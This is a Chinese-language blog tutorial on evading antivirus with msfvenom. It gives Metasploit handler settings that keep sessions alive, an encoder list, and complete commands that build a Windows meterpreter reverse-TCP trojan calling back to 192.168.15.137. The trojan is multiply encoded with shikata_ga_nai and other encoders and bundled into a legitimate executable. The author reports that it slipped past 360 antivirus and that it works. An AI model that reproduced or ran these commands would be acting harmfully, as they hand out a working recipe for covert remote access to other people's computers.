msfvenom编码免杀

zfmy · 2022-01-03

防止假SESSION

在一般的实战中经常会遇到假的session或刚连接就断开的情况,为了防止假死与假session使用如下命令

msf exploit(multi/handler) > set ExitOnSession false   //可以在接收到seesion后继续监听端口，保持侦听。

防止session意外退出

msf6 exploit(multi/handler) > set SessionCommunicationTimeout 0  //默认情况下，如果一个会话将在5分钟（300秒）没有任何活动，那么它会被杀死,为防止此情况可将此项修改为0
msf6 exploit(multi/handler) > set SessionExpirationTimeout 0 //默认情况下，一个星期（604800秒）后，会话将被强制关闭,修改为0可永久不会被关闭

handler后台持续监听

msf exploit(multi/handler) > exploit -j -z

可使用msfvenom --list命令查看payloads,encoders,nops,platforms,archs,encrypt,formats。

如使用msfvenom --list encoders可查看所有编码器




    Name                          Rank       Description
    ----                          ----       -----------
    cmd/brace                     low        Bash Brace Expansion Command Encoder
    cmd/echo                      good       Echo Command Encoder
    cmd/generic_sh                manual     Generic Shell Variable Substitution Command Encoder
    cmd/ifs                       low        Bourne ${IFS} Substitution Command Encoder
    cmd/perl                      normal     Perl Command Encoder
    cmd/powershell_base64         excellent  Powershell Base64 Command Encoder
    cmd/printf_php_mq             manual     printf(1) via PHP magic_quotes Utility Command Encoder
    generic/eicar                 manual     The EICAR Encoder
    generic/none                  normal     The "none" Encoder
    mipsbe/byte_xori              normal     Byte XORi Encoder
    mipsbe/longxor                normal     XOR Encoder
    mipsle/byte_xori              normal     Byte XORi Encoder
    mipsle/longxor                normal     XOR Encoder
    php/base64                    great      PHP Base64 Encoder
    ppc/longxor                   normal     PPC LongXOR Encoder
    ppc/longxor_tag               normal     PPC LongXOR Encoder
    ruby/base64                   great      Ruby Base64 Encoder
    sparc/longxor_tag             normal     SPARC DWORD XOR Encoder
    x64/xor                       normal     XOR Encoder
    x64/xor_context               normal     Hostname-based Context Keyed Payload Encoder
    x64/xor_dynamic               normal     Dynamic key XOR Encoder
    x64/zutto_dekiru              manual     Zutto Dekiru
    x86/add_sub                   manual     Add/Sub Encoder
    x86/alpha_mixed               low        Alpha2 Alphanumeric Mixedcase Encoder
    x86/alpha_upper               low        Alpha2 Alphanumeric Uppercase Encoder
    x86/avoid_underscore_tolower  manual     Avoid underscore/tolower
    x86/avoid_utf8_tolower        manual     Avoid UTF8/tolower
    x86/bloxor                    manual     BloXor - A Metamorphic Block Based XOR Encoder
    x86/bmp_polyglot              manual     BMP Polyglot
    x86/call4_dword_xor           normal     Call+4 Dword XOR Encoder
    x86/context_cpuid             manual     CPUID-based Context Keyed Payload Encoder
    x86/context_stat              manual     stat(2)-based Context Keyed Payload Encoder
    x86/context_time              manual     time(2)-based Context Keyed Payload Encoder
    x86/countdown                 normal     Single-byte XOR Countdown Encoder
    x86/fnstenv_mov               normal     Variable-length Fnstenv/mov Dword XOR Encoder
    x86/jmp_call_additive         normal     Jump/Call XOR Additive Feedback Encoder
    x86/nonalpha                  low        Non-Alpha Encoder
    x86/nonupper                  low        Non-Upper Encoder
    x86/opt_sub                   manual     Sub Encoder (optimised)
    x86/service                   manual     Register Service
    x86/shikata_ga_nai            excellent  Polymorphic XOR Additive Feedback Encoder
    x86/single_static_bit         manual     Single Static Bit
    x86/unicode_mixed             manual     Alpha2 Alphanumeric Unicode Mixedcase Encoder
    x86/unicode_upper             manual     Alpha2 Alphanumeric Unicode Uppercase Encoder
    x86/xor_dynamic               normal     Dynamic key XOR Encoder

最好用的encoder为cmd/powershell_base64和x86/shikata_ga_nai,其中x86/shikata_ga_nai是使用频率最高的一个编译器

使用x86/shikata_ga_nai编译器进行编译 -i 是编译次数这里编译30次 -b 是去掉payload中的空字符,但是编码次数多并不代表免杀能力强。

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 30 -b '\x00' lhost=192.168.15.137 loprt=4444 -f exe -o server.exe

但是编译后还是会被杀掉

也可以试试自捆绑和编码一起用($ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.15.137 LPORT=4444 -e x86/shikata_ga_nai -x jsq.exe -i 30 -b '\x00' -f exe -o ksq.exe)

将木马放到靶机上发现360未扫到任何木马而火绒可以扫到这就证明了捆绑加编码起到了作用

还可以多重编码比如先使用 cmd/powershell_base64 编码10次再用 x86/shikata_ga_nai 编码10次

-a <arch> 设置目标的指令集架构，这里我们选择x86即可
--platform <platform> 设置目标平台，这里是windows，可以通过--help-platforms选项查看msfvenom支持的所有平台

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.15.137 LPORT=9999 -f raw | msfvenom -a x86 --platform windows -e x86/alpha_upper -i 10 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 10 -x jsq.exe -f exe -o jssq.exe

木马是可用的